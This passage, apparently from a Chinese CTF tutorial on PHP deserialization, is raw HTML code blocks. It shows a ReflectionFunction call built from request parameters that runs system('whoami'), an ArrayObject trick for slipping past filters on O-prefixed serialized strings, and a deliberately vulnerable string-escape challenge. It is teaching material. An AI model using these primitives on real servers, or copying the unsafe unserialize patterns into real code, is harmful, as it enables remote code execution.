style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">function</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionFunction</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">function</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">invokeArgs</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/reflectionfunction4.png\" class=\"\" title=\"reflectionfunction4\"></p>\n<p>也就是执行了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> system</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">whoami</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>参考文章：<a href=\"https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/\">https://drun1baby.top/2023/04/11/PHP-原生类学习/</a></p>\n<h3 id=\"利用arrayobject绕过o开头序列化字符串\"><a class=\"anchor\" href=\"#利用arrayobject绕过o开头序列化字符串\">#</a> 利用ArrayObject绕过O开头序列化字符串</h3>\n<p>正常情况下，如下代码 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>产生的序列化字符串应该为O开头：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:6:\"ZLARYY\":3:&#123;s:6:\"xiexie\";N;s:11:\"*Chesmond\";N;s:13:\"ZLARYYArach\";N;&#125;</span></span></code></pre>\n<p>但如果有些题目不允许O开头的内容传入，我们该怎么绕过呢？</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arr</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">oa</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ArrayObject</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">oa</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这样的话产生的序列化字符串为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>C:11:\"ArrayObject\":108:&#123;x:i:0;a:1:&#123;s:4:\"test\";O:6:\"ZLARYY\":3:&#123;s:6:\"xiexie\";N;s:11:\"*Chesmond\";N;s:13:\"ZLARYYArach\";N;&#125;&#125;;m:a:0:&#123;&#125;&#125;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>PHP序列化字符串以'O'和'C'开头分别代表普通对象和自定义序列化对象。'O'代表普通类实例，结构为 O:长度:\"类名\":属性数:&#123;属性&#125;，反序列化时自动触发__wakeup()或__destruct()。'C'代表实现了Serializable接口的类，结构为 C:长度:\"类名\":数据长度:&#123;数据&#125;，利用serialize()和unserialize()自定义数据格式。 </span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>具体区别如下：</span></span>\n<span class=\"line\"><span>O (Object):</span></span>\n<span class=\"line\"><span>结构：O:4:\"User\":2:&#123;s:2:\"id\";i:1;&#125;</span></span>\n<span class=\"line\"><span>特点：序列化所有成员属性，反序列化时会自动触发__wakeup()方法（如果存在）。</span></span>\n<span class=\"line\"><span>C (Custom Object):</span></span>\n<span class=\"line\"><span>结构：C:4:\"User\":13:&#123;...自定义数据...&#125;</span></span>\n<span class=\"line\"><span>特点：针对实现了Serializable接口的类，使用自定义的serialize()和unserialize()方法来控制序列化内容，__wakeup()不会被触发。 </span></span></code></pre>\n<h2 id=\"字符串逃逸\"><a class=\"anchor\" href=\"#字符串逃逸\">#</a> 字符串逃逸</h2>\n<p><strong>字符串逃逸</strong>是指在处理字符串时，通过特定的构造或操作，使得字符串的内容被错误解析或跳过，从而实现意料之外的效果。这种技术常见于反序列化漏洞中，尤其是在PHP等语言中，利用字符串长度的变化或过滤器的处理缺陷，达到修改或注入数据的目的。字符串逃逸分为两种情况：增加和减少</p>\n<h3 id=\"字符串逃逸-增加\"><a class=\"anchor\" href=\"#字符串逃逸-增加\">#</a> 字符串逃逸-增加</h3>\n<p>这里选择D0g3三面题目作为例题：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> a</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">===</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">lu1ux</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                include</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag1.php</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag1</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">wrong password</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">string</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> str_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">hack</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">string</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">id</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Eurake</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ser</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#59873A;--shiki-dark:#80A665\">filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> a</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">test</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ser</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>在这道题目中<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>u</mi><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi><mtext>部分我们可控，</mtext></mrow><annotation 